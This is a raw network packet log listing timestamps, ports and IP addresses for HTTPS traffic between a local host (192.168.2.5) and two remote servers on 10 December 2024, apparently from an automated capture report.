Dec 10, 2024 07:35:14.319389105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.319822073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.319844007 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.319890976 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.319896936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.319936991 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.321429014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.321456909 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.321504116 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.321512938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.321535110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.321557045 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.322436094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.322458982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.322509050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.322515965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.322551966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.323321104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.323338032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.323383093 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.323389053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.323415041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.323436022 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.324469090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.324489117 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.324527979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.324534893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.324561119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.324582100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.436621904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.436645985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.436774969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.436815023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.436861992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.447730064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.447755098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.447823048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.447835922 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.447870970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.457742929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.457767010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.457837105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.457845926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.457896948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.466463089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.466491938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.466564894 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.466578007 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.466620922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.476403952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.476428032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.476548910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.476558924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.476608992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.486453056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.486480951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.486615896 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.486645937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.486687899 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.495778084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.495836973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.495944977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.495968103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.496009111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.506159067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.506206036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.506294966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.506340981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.506387949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.514487028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.514511108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.514628887 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.514651060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.514693975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.524399042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.524420977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.524521112 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.524571896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.524621010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.533873081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.533894062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.534001112 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.534020901 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.538080931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.543889999 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.543910980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.544008970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.544032097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.544075966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.553324938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.553801060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.553826094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.553854942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.553874969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.553926945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.606020927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.606050968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.606190920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.606232882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.606273890 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.614696026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.614720106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.614815950 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.614845991 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.614887953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.624500990 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.624541044 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.624641895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.624670029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.624711990 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.633809090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.633830070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.633933067 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.633956909 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.634001970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.641709089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.641731977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.641858101 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.641891003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.641937971 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.649861097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.649885893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.649996042 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.650017023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.650060892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.692557096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.692584991 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.692696095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.692748070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.692791939 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.698540926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.698574066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.698668957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.698704958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.698749065 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.795320034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.795340061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.795397997 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.795430899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.795447111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.795476913 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.800030947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.800061941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.800105095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.800122023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.800159931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.800172091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.805006981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.805027962 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.805073023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.805084944 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.805134058 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.809444904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.809475899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.809506893 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.809520960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.809614897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.814443111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.814476013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.814549923 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.814558983 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.814610958 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.819089890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.819123030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.819202900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.819231987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.819272995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.884787083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.884819031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.884876966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.884911060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.884929895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.884946108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.889273882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.889305115 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.889338017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.889344931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.889380932 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.889389038 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.987283945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.987308025 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.987365007 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.987400055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.987416983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.987447977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.992206097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.992227077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.992275000 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.992283106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.992322922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.997044086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.997061014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.997124910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:14.997153997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:14.997190952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.001441002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.001458883 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.001554966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.001554966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.001564026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.001605034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.006524086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.006545067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.006593943 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.006604910 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.006633043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.006649017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.011231899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.011251926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.011307955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.011322021 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.011353016 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.011369944 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.082953930 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.082981110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.083090067 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.083121061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.083164930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.087390900 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.087415934 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.087486029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.087502003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.087524891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.087538958 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.164829016 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:15.164882898 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:15.164947033 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:15.165515900 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:15.165529966 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:15.180397987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.180438042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.180481911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.180495977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.180536032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.185306072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.185331106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.185398102 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.185411930 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.185446024 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.190160036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.190195084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.190246105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.190253973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.190273046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.190327883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.194574118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.194597960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.194659948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.194665909 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.194703102 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.199714899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.199743032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.199779034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.199793100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.199820995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.199840069 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.204250097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.204274893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.204307079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.204313040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.204361916 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.269208908 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.269273043 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.269385099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.269402027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.269453049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.273665905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.273689985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.273761034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.273772955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.273808002 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.372862101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.372884989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.372982979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.373017073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.373059988 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.378844976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.378935099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.379020929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.379077911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.382762909 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.382786036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.382858038 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.382877111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.382919073 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.387789011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.387814045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.387876987 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.387900114 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.387939930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.392187119 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.392213106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.392318010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.392340899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.392380953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.396831036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.396852016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.396925926 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.396943092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.396981001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.461525917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.461601973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.461618900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.461652040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.461671114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.461671114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.461692095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.466088057 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.466114998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.466156006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.466169119 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.466197968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.466213942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.565785885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.565814972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.565923929 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.565949917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.565988064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.570086956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.570133924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.570149899 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.570188999 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.570194006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.570242882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.574991941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.575023890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.575084925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.575092077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.575134039 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.580002069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.580038071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.580111027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.580118895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.580157042 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.584415913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.584444046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.584487915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.584501028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:15.584534883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:15.584556103 CET	49720	443	192.168.2.5	185.199.109.133
